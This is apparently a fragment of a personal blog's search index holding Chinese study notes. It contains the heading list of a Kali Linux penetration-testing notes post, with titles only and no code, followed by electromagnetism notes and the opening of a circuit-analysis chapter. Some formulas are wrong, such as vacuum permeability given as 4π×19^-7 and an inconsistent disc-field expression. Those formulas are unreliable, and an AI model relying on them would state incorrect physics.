输入验证#### 访问控制### 0x043.本地漏洞#### 使用lynis进行本地检查#### OpenVAS本地扫描#### Root Kit### 0x044.远程漏洞#### OpenVAS入门#### 创建扫描#### OpenVAS报告### 0x045.网络设备审查#### 审查设备#### 数据库漏洞### 0x046.识别新的漏洞## 0x05.自动化漏洞利用### 0x051.漏洞利用### 0x052.思科攻击#### 管理协议#### 其他设备### 0x053.漏洞利用数据库### 0x054.Metasploit#### 入门#### 模块应用#### 导入数据#### 漏洞利用系统### 0x055.Armitage### 0x056.社交工程## 0x06.Metasploit进阶### 0x061.扫描目标#### 端口扫描#### SMB扫描#### 漏洞扫描### 0x062.对目标进行漏洞利用### 0x063.Meterpreter应用#### 基础#### 用户信息#### 操作进程### 0x064.权限升级### 0x065.转向其他网络### 0x066.维护访问权限 --\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"title":"电磁学笔记","time":"2022-10-25T13:59:12Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"静电场\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/25/%E7%89%A9%E7%90%86/%E7%94%B5%E7%A3%81%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E9%9D%99%E7%94%B5%E5%9C%BA\" class=\"headerlink\" title=\"静电场\"\u003e\u003c/a\u003e静电场\u003c/h2\u003e\u003cp\u003e之所以叫静电场是为了强调场源电荷是相对静止的。因为下面的部分规则对于运动电荷/电流形成的电场不一定适用。\u003c/p\u003e\u003ch3 id=\"点电荷\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/25/%E7%89%A9%E7%90%86/%E7%94%B5%E7%A3%81%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E7%82%B9%E7%94%B5%E8%8D%B7\" class=\"headerlink\" title=\"点电荷\"\u003e\u003c/a\u003e点电荷\u003c/h3\u003e\u003cp\u003e元电荷的电量: $e=1.6 \\times 10^{-19}C$。电荷是量子化分布的,元电荷是电荷的最小单位。任何电量都是元电荷的整数倍。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e真空中静止点电荷\u003c/strong\u003e间的作用力大小为 $F=\\frac{1}{4\\pi \\epsilon_0}\\frac{q_1q_2}{r^2}$,其中 $\\epsilon_0=8.85\\times 10^{-12}C^2/(N \\cdot m^2)$。\u003c/p\u003e\u003ch3 id=\"电场\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/25/%E7%89%A9%E7%90%86/%E7%94%B5%E7%A3%81%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E7%94%B5%E5%9C%BA\" class=\"headerlink\" title=\"电场\"\u003e\u003c/a\u003e电场\u003c/h3\u003e\u003cp\u003e点电荷会向外发出电场。它是物质的另一种非实体存在形式,其对于位于其内的其他电荷有力的作用。它的定义如下:\u003c/p\u003e\u003cp\u003e定义式: $E=\\frac{d\\Phi}{dS}$,即:\u003cstrong\u003e单位面积通过的电场线条数\u003c/strong\u003e称为某一点的场强。 $d\\Phi$称为电通量。电场线是人们假想的,描述某一点电场强度的量。\u003c/p\u003e\u003cp\u003e高斯定律: $\\oint_SE\\cdot dS=\\frac{1}{\\epsilon_0}\\Sigma q$,q为高斯面内的电荷量代数和。\u003c/p\u003e\u003cp\u003e通过高斯定律我们能看出,电场是有源无旋场。\u003c/p\u003e\u003cp\u003e知道了空间某一区域内的电荷量之后,便可以通过高斯定律计算出来该高斯面上的平均电场强度。因此,对于受一定几何条件约束,存在对称性的空间区域,就可以利用高斯定理计算其表面的场强。\u003c/p\u003e\u003cp\u003e下面是一些特殊静电场的场强:\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"center\"\u003e描述\u003c/th\u003e\u003cth align=\"left\"\u003e公式\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e球面内\u003c/td\u003e\u003ctd align=\"left\"\u003e$E=0$\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e球面外\u003c/td\u003e\u003ctd align=\"left\"\u003e$E=\\frac{q}{4\\pi \\epsilon_0}\\frac{1}{r^2}$\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e球体内\u003c/td\u003e\u003ctd align=\"left\"\u003e$E=\\frac{q}{4\\pi \\epsilon_0}\\frac{r}{R^3}=\\frac{\\rho}{3\\epsilon_0}r$\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e球体外\u003c/td\u003e\u003ctd align=\"left\"\u003e$E=\\frac{q}{4\\pi\\epsilon_0}\\frac{1}{r^2}$\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e长直导线\u003c/td\u003e\u003ctd align=\"left\"\u003e$E=\\frac{\\lambda}{2\\pi\\epsilon_0r}$\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e圆盘周线上的场强:\u003cbr/\u003e$$\u003cbr/\u003eE=\\frac{\\delta x}{2\\epsilon_0}[\\frac{1}{\\sqrt{x^2+R_1^2}}-\\frac{1}{x^2+R^2}]\u003cbr/\u003e$$\u003c/p\u003e\u003ch4 id=\"电偶极子\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/25/%E7%89%A9%E7%90%86/%E7%94%B5%E7%A3%81%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E7%94%B5%E5%81%B6%E6%9E%81%E5%AD%90\" class=\"headerlink\" title=\"电偶极子\"\u003e\u003c/a\u003e电偶极子\u003c/h4\u003e\u003cp\u003e电偶极子是一个理想化的模型:一对带有等量异号电荷,电量分别为 $+q,-q$的点电荷,彼此距离为 $l$。规定电偶极矩为 $p=ql$,其中 $l$的方向为:从负电荷指向正电荷。下面是位于电偶极子特殊位置的场强(其中 $r \\gg l$):\u003c/p\u003e\u003cul\u003e\u003cli\u003e沿轴线方向的场强: $E=\\frac{2p}{4\\pi\\epsilon_0r^3}$\u003c/li\u003e\u003cli\u003e中垂线上的场强: $E=-\\frac{p}{4\\pi\\epsilon_0r^3}$\u003c/li\u003e\u003cli\u003e一般情况场强: $E=\\frac{1}{4\\pi\\epsilon_0r^3}[\\frac{3(r\\cdot p)r}{r^2}-p]$\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"电势\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/25/%E7%89%A9%E7%90%86/%E7%94%B5%E7%A3%81%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E7%94%B5%E5%8A%BF\" class=\"headerlink\" title=\"电势\"\u003e\u003c/a\u003e电势\u003c/h3\u003e\u003cp\u003e规定某一点处的电势为:$\\phi=-\\int^P_{\\infty}E\\cdot dr=\\int_P^{\\infty}E\\cdot dr$。也就是说,在匀强场中,有 $U=Ed$。\u003c/p\u003e\u003cp\u003e同时,电场具有下面的特性:$\\oint E\\cdot dr = 0$,即静电场和重力场一样,是保守场。\u003c/p\u003e\u003cp\u003e两点间的电势差:$U_{12}=\\phi_1-\\phi_2=-\\Delta\\phi$,单位: $1V=1J/C$\u003c/p\u003e\u003cp\u003e场强和电势还有如下关系: $E=-\\nabla\\phi$,即某点的场强为该点电势的梯度的负值。\u003c/p\u003e\u003ch3 id=\"静电场中的导体\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/25/%E7%89%A9%E7%90%86/%E7%94%B5%E7%A3%81%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E9%9D%99%E7%94%B5%E5%9C%BA%E4%B8%AD%E7%9A%84%E5%AF%BC%E4%BD%93\" class=\"headerlink\" title=\"静电场中的导体\"\u003e\u003c/a\u003e静电场中的导体\u003c/h3\u003e\u003cp\u003e导体静电平衡条件: $E_{in}=0\\text{(即导体内电场为0)}, E_s\\perp\\text{导体表面}$。当导体处于静电平衡时,有 $\\delta=\\epsilon_0E$。有导体存在时,静电场的计算借助\u003cstrong\u003e静电场的基本规律,电荷守恒和导体经典平衡条件\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e静电屏蔽\u003c/strong\u003e:金属空壳外表面的电荷和壳外的电荷在壳内的合场强为0,因而对壳内场强无影响。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e唯一性定理\u003c/strong\u003e:给定每个导体的总电量、电势,或者一些导体的总电量和另一些导体的电势,静电场的分布就唯一地确定了。电场的计算可以使用\u003cstrong\u003e镜像法\u003c/strong\u003e。\u003c/p\u003e\u003ch3 id=\"静电场中的介质\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/25/%E7%89%A9%E7%90%86/%E7%94%B5%E7%A3%81%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E9%9D%99%E7%94%B5%E5%9C%BA%E4%B8%AD%E7%9A%84%E4%BB%8B%E8%B4%A8\" class=\"headerlink\" title=\"静电场中的介质\"\u003e\u003c/a\u003e静电场中的介质\u003c/h3\u003e\u003cp\u003e将介质插入电容器,则有:$U=\\frac{U_0}{\\epsilon_r}$。又因为 $E=\\frac{U}{d}$,因而有 $E=\\frac{E_0}{\\epsilon_r}$\u003c/p\u003e\u003cp\u003e根据正负电中心是否重合,可以把分子分为两类:极性分子:有固有电矩;非极性分子:无固有电矩。外加电场会产生比固有电矩小得多的感生电矩,出现在电介质表面的电荷叫\u003cstrong\u003e面束缚电荷/面极化电荷\u003c/strong\u003e。分子电矩和电偶极子的电矩定义相同,为 $p=ql$。\u003c/p\u003e\u003cp\u003e此外,对于有电介质存在的电场,引入电位移D,有:$D=\\epsilon_0E+P$。其中 $P=np$,P是电极化强度,n是电介质单位体积内的分子数($P$单位$C/m^2$)\u003c/p\u003e\u003cp\u003e此时,高斯定理变形为 $\\oint D\\cdot dS = \\Sigma q$。其中, $q$是自由电荷,$D=\\epsilon E = \\epsilon_0\\epsilon_r E$。\u003c/p\u003e\u003cp\u003e边界条件: $E_{1t}=E_{2t}D_{1n}=D_{2n}$\u003c/p\u003e\u003ch3 id=\"电容器\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/25/%E7%89%A9%E7%90%86/%E7%94%B5%E7%A3%81%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E7%94%B5%E5%AE%B9%E5%99%A8\" class=\"headerlink\" title=\"电容器\"\u003e\u003c/a\u003e电容器\u003c/h3\u003e\u003cp\u003e电容器具有电容 $C$, 其定义为:$C=\\frac{Q}{U}$。电容器和电阻一样可以进行串并联,且遵循:并联 $C$相加,串联 $C$\u003cstrong\u003e倒数相加\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e电介质填充规律:\u003c/p\u003e\u003cul\u003e\u003cli\u003e按等势面填充: $D$不变, $E$变\u003c/li\u003e\u003cli\u003e按电场线填充: $D$变, $E$的分布“样子”不变(?)\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e电容器的能量: $W=\\frac{1}{2}CU^2=\\frac{1}{2}QU=\\frac{1}{2}\\frac{Q^2}{C}$\u003c/p\u003e\u003cp\u003e电场中的能量体密度: $W_c=\\frac{1}{2}DE=\\frac{1}{2}\\epsilon E^2$\u003c/p\u003e\u003cp\u003e电场中的能量: $W=\\int \\frac{1}{2}\\epsilon E^2dV$\u003c/p\u003e\u003cp\u003e常见电容器的电容计算:\u003c/p\u003e\u003cul\u003e\u003cli\u003e平行板: $C=\\frac{\\epsilon S}{d}$\u003c/li\u003e\u003cli\u003e圆柱形: $C=\\frac{2\\pi L\\epsilon}{ln(\\frac{R_2}{R_1})}$\u003c/li\u003e\u003cli\u003e球形电容器: $C=4\\pi\\epsilon\\frac{R_1R_2}{R_2-R_1}$\u003c/li\u003e\u003cli\u003e球形孤立导体电容器: $C=4\\pi R\\epsilon$\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"磁场\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/25/%E7%89%A9%E7%90%86/%E7%94%B5%E7%A3%81%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E7%A3%81%E5%9C%BA\" class=\"headerlink\" title=\"磁场\"\u003e\u003c/a\u003e磁场\u003c/h2\u003e\u003cp\u003e磁力是运动电荷之间相互作用的表现。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e洛伦兹力\u003c/strong\u003e:运动电荷受到磁场的作用力,为 $F=qv\\times B$\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e磁通量\u003c/strong\u003e是单位面积通过的磁感线的量,为 $\\int_SB\\cdot dS$。磁通量用于描述某点的磁感应强度。\u003c/p\u003e\u003cp\u003e毕萨定律描述了\u003cstrong\u003e单位电流元在空间某一点产生的磁感应强度\u003c/strong\u003e:$dB=\\frac{\\mu_0}{4\\pi}\\frac{Idl\\times e_r}{r^2}$。方向通过右手螺旋定律即可确定。其中, $\\mu_0$为真空磁导率,为: $\\mu_0=\\frac{1}{\\epsilon_0c^2}=4\\pi\\times 19^{-7}N/A^2$,$c=\\frac{1}{\\sqrt{\\mu_0\\epsilon_0}}$\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e磁通连续性定理\u003c/strong\u003e:$\\oint B\\cdot dS=0$, $dB=\\frac{\\mu_0}{4\\pi}\\frac{qv\\times e_r}{r^2}$\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e安培环路定理\u003c/strong\u003e: $\\oint B\\cdot dr=\\mu_0\\Sigma I_{in}$\u003c/p\u003e\u003cp\u003e也就是说,沿着某条闭合路径对磁场作路径积分,得到的值就是穿过其中的电流的代数和。其中,以右手定则确定正电流的方向。\u003c/p\u003e\u003cp\u003e也可以写作如下形式:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003e\\oint B\\cdot dR=\\mu_0\\int_S(J_c+\\epsilon_0\\frac{\\delta E}{\\delta t}\\cdot dS)\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e传导电流 $I_c$, 位移电流 $I_d=\\epsilon_0\\frac{d\\Phi}{dt}=\\epsilon_0\\frac{d}{dt}\\int_SE\\cdot dS$,位移电流密度: $J_d=\\epsilon_0\\frac{\\delta E}{\\delta t}$, 全电流: $I=I_c+I_d$\u003c/p\u003e\u003ch3 id=\"典型电流分布的磁场\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/25/%E7%89%A9%E7%90%86/%E7%94%B5%E7%A3%81%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E5%85%B8%E5%9E%8B%E7%94%B5%E6%B5%81%E5%88%86%E5%B8%83%E7%9A%84%E7%A3%81%E5%9C%BA\" class=\"headerlink\" title=\"典型电流分布的磁场\"\u003e\u003c/a\u003e典型电流分布的磁场\u003c/h3\u003e\u003cp\u003e无限长直电流 $$B=\\frac{\\mu_0I}{2\\pi r}$$\u003cbr/\u003e一段直导线(上面情况的一般化)$$B=\\frac{\\mu_0I}{4\\pi r}(cos\\theta_1-cos\\theta_2)$$\u003cbr/\u003e无限长均匀载流薄圆筒 $$B_{in}=0 ;B_{out}=\\frac{\\mu_0I}{2\\pi r}$$\u003cbr/\u003e无限长直载流密绕螺绕管 / 螺绕环 $$B_{in}=\\mu_0nI; B_{out}=0$$\u003cbr/\u003e$n$是单位长度的匝数。显然,对于螺绕环,有 $n=\\frac{N}{2\\pi r}$\u003c/p\u003e\u003cp\u003e无限大平面电流 $$B\\cdot2l=\\mu_0jl$$\u003cbr/\u003e圆电流圈中心点和轴线上的磁场 $$B_{center}=\\frac{\\mu_0I}{2R}; B_{axis}=\\frac{\\mu_0IS}{2\\pi(R^2+x^2)^{\\frac{3}{2}}}$$\u003c/p\u003e\u003ch3 id=\"磁矩\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/25/%E7%89%A9%E7%90%86/%E7%94%B5%E7%A3%81%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E7%A3%81%E7%9F%A9\" class=\"headerlink\" title=\"磁矩\"\u003e\u003c/a\u003e磁矩\u003c/h3\u003e\u003cp\u003e$$\u003cbr/\u003eB=\\frac{\\mu_0}{4\\pi r^3}[\\frac{3(r\\cdot m)r}{r^2}-m]\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e其中, $r\\gg\\text{磁矩线度}$\u003c/p\u003e\u003cp\u003e磁矩、电流圈在外磁场中的势能 $W=-mB_{\\text{外}}=-IS\\cdot B_{\\text{外}}$\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003er=\\frac{mv}{qB}\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eT=\\frac{2\\pi m}{qB}v\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e霍尔效应: $$U_H=R_H\\frac{IB}{d};F=\\int_LIdl\\times B$$\u003c/p\u003e\u003cp\u003e磁矩:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003em=SIe_n\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e力矩:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eM=m\\times B\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e导线框受到的力矩就可以像上边这么计算。磁矩就是导线框面积和导线框电流的乘积。若线圈有$N$匝,则乘以$N$即可。\u003c/p\u003e\u003ch2 id=\"电磁感应\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/25/%E7%89%A9%E7%90%86/%E7%94%B5%E7%A3%81%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E7%94%B5%E7%A3%81%E6%84%9F%E5%BA%94\" class=\"headerlink\" title=\"电磁感应\"\u003e\u003c/a\u003e电磁感应\u003c/h2\u003e\u003cp\u003e感应电动势:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eE=\\frac{d\\phi}{dt}=-N\\frac{d\\phi}{dt}\u003cbr/\u003e$$\u003cbr/\u003e当穿过各匝线圈的磁通量相等时,N 匝线圈的全磁通为 $\\Psi=N\\Phi$\u003c/p\u003e\u003cp\u003e动生电动势 $E=\\oint_L(v\\times B)dl$,$\\lvert E\\rvert=Blv$\u003cbr/\u003e感生电动势 $\\oint_LE_i\\cdot dl=-\\frac{d\\phi}{dt}=-\\int_S\\frac{\\delta B}{\\delta t}\\cdot dS$。其中, $E_i$表示感生电场,由于静电场的环路积分为零, 所以 $\\oint_LE\\cdot dr=-\\int_S \\frac{\\delta B}{\\delta t}\\cdot dS$\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003e\\Psi_{21}=M_{21}i_1 \\\u003cbr/\u003eE_{12}=-\\frac{d\\psi_{21}}{dt}=-M_{21}\\frac{di}{dt}\u003cbr/\u003e$$\u003cbr/\u003e$M_{21}$是回路 $L_1$对回路 $L_2$的互感系数, 固定回路的互感系数是一个常数, $M_{21}=M_{12}=M$,$M$称作这两个导体回路的互感系数, 简称他们的互感。\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eE_L=-\\frac{d\\psi}{dt}=-L\\frac{di}{dt},L=\\frac{\\psi}{i}\u003cbr/\u003e$$\u003cbr/\u003e称为自感系数,简称自感\u003c/p\u003e\u003cp\u003e自感磁能 \u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eW_m=\\frac{1}{2}LI^2\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e磁场的能量 \u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eW_m=\\frac{B^2}{2\\mu}V=\\int \\frac{BH}{2}dV\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e磁能量密度 \u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eW_m=\\frac{1}{2}BH=\\frac{1}{2}\\mu H^2\u003cbr/\u003e$$\u003c/p\u003e\u003ch2 id=\"麦克斯韦方程组和电磁辐射\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/25/%E7%89%A9%E7%90%86/%E7%94%B5%E7%A3%81%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E9%BA%A6%E5%85%8B%E6%96%AF%E9%9F%A6%E6%96%B9%E7%A8%8B%E7%BB%84%E5%92%8C%E7%94%B5%E7%A3%81%E8%BE%90%E5%B0%84\" class=\"headerlink\" title=\"麦克斯韦方程组和电磁辐射\"\u003e\u003c/a\u003e麦克斯韦方程组和电磁辐射\u003c/h2\u003e\u003cp\u003e$$\u003cbr/\u003e\\left{\u003cbr/\u003e\\begin{aligned}\u003cbr/\u003e\u0026amp;\\oint_SE\\cdot dS =\\frac{q}{\\epsilon_0}=\\frac{1}{\\epsilon_0}\\int_V\\rho dV\\\u003cbr/\u003e\u0026amp;\\oint_SB\\cdot dS =0\\\u003cbr/\u003e\u0026amp;\\oint_LE\\cdot dr =-\\frac{d\\psi}{dt}=-\\int_S\\frac{\\delta B}{\\delta t}\\cdot dS\\\u003cbr/\u003e\u0026amp;\\oint_LB\\cdot dr =\\mu_0I+\\frac{1}{c^2}\\frac{d\\Phi_c}{dt}=\\mu_0\\int_S(J+\\epsilon_0\\frac{\\delta E}{\\delta t})\u003cbr/\u003e\\end{aligned}\u003cbr/\u003e\\right.\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e麦克斯韦方程组是描述电磁场的基本方程组,包括四个方程:高斯定律、安培环路定理、法拉第电磁感应定律和磁场无源性定理。这四个方程分别描述了电荷、电流、电场和磁场之间的相互作用关系。其中,高斯定律描述了电荷对电场的影响,安培环路定理描述了电流对磁场的影响,法拉第电磁感应定律描述了磁场对电场的影响,磁场无源性定理描述了磁场的本质特性。\u003c/p\u003e\u003cp\u003e电磁辐射是指电磁波在空间中的传播过程。电磁波是由电场和磁场相互作用而产生的一种波动现象,其传播速度为光速。电磁辐射的产生需要满足一定的条件,即电荷或电流的加速度必须存在。电磁辐射的能量密度与电场和磁场的强度有关,其传播方向垂直于电场和磁场的方向。电磁辐射在通信、雷达、医学等领域有着广泛的应用。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/10/25/%E7%89%A9%E7%90%86/%E7%94%B5%E7%A3%81%E5%AD%A6%E7%AC%94%E8%AE%B0/"},{"title":"第一章:电路的基本规律","time":"2022-10-19T13:05:02Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e本章主要关于电路的基本定理、基本器件以及电路的等效变换。\u003c/p\u003e\u003ch2 id=\"电路的等效\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/19/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E7%94%B5%E8%B7%AF%E7%9A%84%E5%9F%BA%E6%9C%AC%E8%A7%84%E5%BE%8B/#%E7%94%B5%E8%B7%AF%E7%9A%84%E7%AD%89%E6%95%88\" class=\"headerlink\" title=\"电路的等效\"\u003e\u003c/a\u003e电路的等效\u003c/h2\u003e\u003cp\u003e对于任何电路A,如果C和B接在A的端子上,电压、电流、功率完全一样,则称C与B等效。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20220928-163143.png\"/\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e例1:\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20220928-163605.png\"/\u003e\u003c/p\u003e\u003cp\u003e“等效”是对于外电路而言的。因此,当外电路A发生变化时,C和B依旧等效才能称作等效。\u003c/p\u003e\u003cul\u003e\u003cli\u003e例2:\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20220928-163754.png\"/\u003e\u003c/p\u003e\u003cp\u003e如图,将两个电阻替换成一个电阻,从而化简电路。\u003c/p\u003e\u003ch3 id=\"串并联等效\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/19/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E7%94%B5%E8%B7%AF%E7%9A%84%E5%9F%BA%E6%9C%AC%E8%A7%84%E5%BE%8B/#%E4%B8%B2%E5%B9%B6%E8%81%94%E7%AD%89%E6%95%88\" class=\"headerlink\" title=\"串并联等效\"\u003e\u003c/a\u003e串并联等效\u003c/h3\u003e\u003col\u003e\u003cli\u003e串联等效\u003c/li\u003e\u003c/ol\u003e\u003cblockquote\u003e\u003cp\u003e特征:流过各电阻的电流是同一电流。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20220928-164109.png\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20220928-164223.png\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e阻值和分压成正比\u003c/strong\u003e\u003c/p\u003e\u003col start=\"2\"\u003e\u003cli\u003e并联等效\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20220928-164359.png\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20220928-164443.png\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e电导是电阻的倒数,即 $G = \\frac{1}{R}$ ,单位是 $S$\u003c/strong\u003e\u003c/p\u003e\u003col start=\"3\"\u003e\u003cli\u003e混联等效\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e即:既有串联,又有并联\u003c/p\u003e\u003cp\u003e观察电路的\u003cstrong\u003e结构特点和电压、电流关系\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20220928-164722.png\"/\u003e\u003c/p\u003e\u003cp\u003e很快就能算出 $R_{eq}=1.5\\Omega$\u003c/p\u003e\u003ch3 id=\"Delta-形Y形连接等效\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/19/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E7%94%B5%E8%B7%AF%E7%9A%84%E5%9F%BA%E6%9C%AC%E8%A7%84%E5%BE%8B/#Delta-%E5%BD%A2Y%E5%BD%A2%E8%BF%9E%E6%8E%A5%E7%AD%89%E6%95%88\" class=\"headerlink\" title=\"$\\Delta$形Y形连接等效\"\u003e\u003c/a\u003e$\\Delta$形Y形连接等效\u003c/h3\u003e\u003col\u003e\u003cli\u003e问题的提出\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20220928-170646.png\"/\u003e\u003c/p\u003e\u003col start=\"2\"\u003e\u003cli\u003e等效\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20220928-170751.png\"/\u003e\u003c/p\u003e\u003cp\u003e其中,2个支路的电流和电压独立。\u003c/p\u003e\u003cp\u003e对于图a中的三个支路,由KCL和OL得到关系:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20220928-171045.png\"/\u003e\u003c/p\u003e\u003cp\u003e图b中,由KVL得:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20220928-171124.png\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20220928-171133.png\"/\u003e\u003c/p\u003e\u003cp\u003e式3、5和式4、6应恒等。\u003c/p\u003e\u003cp\u003e结论:从 $\\Delta$到Y:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eR_1=\\frac{R_{12}R_{13}}{R_{12}+R_{13}+R_{23}}\\\u003cbr/\u003eR_2=\\frac{R_{12}R_{23}}{R_{12}+R_{13}+R_{23}}\\\u003cbr/\u003eR_3=\\frac{R_{13}R_{23}}{R_{12}+R_{13}+R_{23}}\\\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20220928-171831.png\" alt=\"助记\"/\u003e\u003c/p\u003e\u003cp\u003e从Y到 $\\Delta$:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eR_{12}=\\frac{R_1R_2+R_2R_3+R_3R_1}{R_3}\\\u003cbr/\u003eR_{23}=\\frac{R_1R_2+R_2R_3+R_3R_1}{R_1}\\\u003cbr/\u003eR_{13}=\\frac{R_1R_2+R_2R_3+R_3R_1}{R_2}\\\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20220928-171840.png\" alt=\"助记\"/\u003e\u003c/p\u003e\u003cp\u003e同时,若 $R_1=R_2=R_3=R_Y$,则 $R_{12}=R_{23}=R_{13}=R_\\Delta$,且 $R_\\Delta=3R_Y$\u003c/p\u003e\u003col start=\"3\"\u003e\u003cli\u003e举例\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20220928-172227.png\"/\u003e\u003c/p\u003e\u003cp\u003e这是一个桥接电路。\u003c/p\u003e\u003ch3 id=\"含受控源电阻的等效\"\u003e\u003ca 